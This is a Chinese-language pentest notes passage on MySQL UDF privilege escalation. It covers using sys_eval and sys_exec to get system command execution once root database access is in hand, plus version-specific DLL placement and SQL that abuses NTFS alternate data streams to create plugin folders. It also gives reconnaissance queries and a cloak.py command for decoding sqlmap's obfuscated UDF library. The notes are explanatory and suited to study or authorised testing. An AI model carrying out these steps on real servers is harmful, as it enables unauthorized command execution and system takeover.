一、udf提权
udf提权的解释
就是利用创建自定义函数(sys_eval,sys_exec,do_system等), 在mysql中调用这个自定义的函数来实现获取对方主机的system的shell权限,从而达到提权的目的。
攻击者如果获取了mysql的root账号情况下,就可以尝试进行udf提权
自定义函数
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
udf提权的利用条件以及数据库版本问题
获得一个数据库账号,拥有MySQL的insert和delete权限,最好是root。拥有将udf.dll写入相应目录的权限。
mysql数据库版本影响上传xxx.dll检索目录不同:
mysql < 5.0 导出路径随意
5.0 <= mysql < 5.1 udf.dll文件放置于c:\windows或者c:\system32
mysql > 5.1 udf.dll(udf.so)文件必须放置于MYSQL安装目录下的lib\plugin文件夹下
注意:如果目录不存在则利用NTFS数据流创建文件目录
创建方法:
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
信息收集
show global variables like 'secure%'; 查看secure_file_priv的值 是否可写
show variables like '%compile%'; 查看操作系统
select @@plugin_dir #查找具体目录
select @@basedir; #查看mysql目录
select version(); # 获取数据库版本
select user(); # 获取数据库用户
show variables like ‘%plugin%’; # 查看plugin路径
udf文件的获取与上传
find / -name "mysqludf" 2>/dev/null
2>/dev/null
:这是一个重定向运算符,用于将命令的错误输出 (stderr) 重定向到空设备 (/dev/null),后者会丢弃它
两种方法:从sqlmap或者msf获取
从sqlmap中获取 sqlmap中的udf文件为了防止误杀进行了异或处理,需要利用sqlmap自带的解码脚本
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludfsys.dll -o lib_mysqludf_sys.dll
从msf中获取 直接cp出来就可以,不需要解码